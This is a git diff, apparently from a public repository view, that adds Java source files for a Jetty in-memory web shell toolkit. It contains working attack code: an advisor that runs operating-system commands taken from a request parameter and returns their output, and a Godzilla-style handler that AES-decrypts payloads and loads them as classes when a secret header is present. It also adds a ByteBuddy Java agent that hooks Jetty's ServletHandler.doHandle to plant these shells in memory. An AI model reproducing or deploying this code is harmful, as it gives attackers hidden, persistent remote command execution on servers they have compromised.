Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
|
||||
obj.put("session", session);
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
|
||||
String parameter = reader.readLine();
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
byte[] bytes = c.doFinal(data);
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
|
||||
Object instance = payload.newInstance();
|
||||
instance.equals(obj);
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+38
@@ -0,0 +1,38 @@
|
||||
package com.reajason.javaweb.memshell.jetty.command;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object response
|
||||
) {
|
||||
String paramName = "paramName";
|
||||
try {
|
||||
String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
|
||||
if (cmd != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+87
@@ -0,0 +1,87 @@
|
||||
package com.reajason.javaweb.memshell.jetty.godzilla;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object response
|
||||
) {
|
||||
String key = "key";
|
||||
String pass = "pass";
|
||||
String md5 = "md5";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
||||
c.init(2, keySpec);
|
||||
data = c.doFinal(data);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
|
||||
c.init(1, keySpec);
|
||||
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
||||
String result = null;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||
}
|
||||
writer.write(result);
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
package com.reajason.javaweb.memshell.jetty.injector;
|
||||
|
||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
import net.bytebuddy.description.type.TypeDescription;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import net.bytebuddy.utility.JavaModule;
|
||||
|
||||
import java.lang.instrument.Instrumentation;
|
||||
import java.security.ProtectionDomain;
|
||||
|
||||
import static net.bytebuddy.matcher.ElementMatchers.any;
|
||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/28
|
||||
*/
|
||||
public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
|
||||
|
||||
static Class<?> interceptorClass = null;
|
||||
|
||||
static {
|
||||
try {
|
||||
interceptorClass = Class.forName(getClassName());
|
||||
} catch (ClassNotFoundException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
||||
TypeDescription typeDescription,
|
||||
ClassLoader classLoader, JavaModule module,
|
||||
ProtectionDomain protectionDomain) {
|
||||
return builder.visit(Advice.to(interceptorClass).on(named("doHandle")));
|
||||
}
|
||||
|
||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||
launch(inst);
|
||||
}
|
||||
|
||||
public static String getClassName() {
|
||||
return "{{advisorName}}";
|
||||
}
|
||||
|
||||
private static void launch(Instrumentation inst) throws Exception {
|
||||
System.out.println("MemShell Agent is starting");
|
||||
new AgentBuilder.Default()
|
||||
.ignore(ElementMatchers.none())
|
||||
.disableClassFormatChanges()
|
||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
||||
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
||||
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
||||
.type(named("org.eclipse.jetty.servlet.ServletHandler"))
|
||||
.transform(new JettyHandlerAgentInjector())
|
||||
.installOn(inst);
|
||||
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user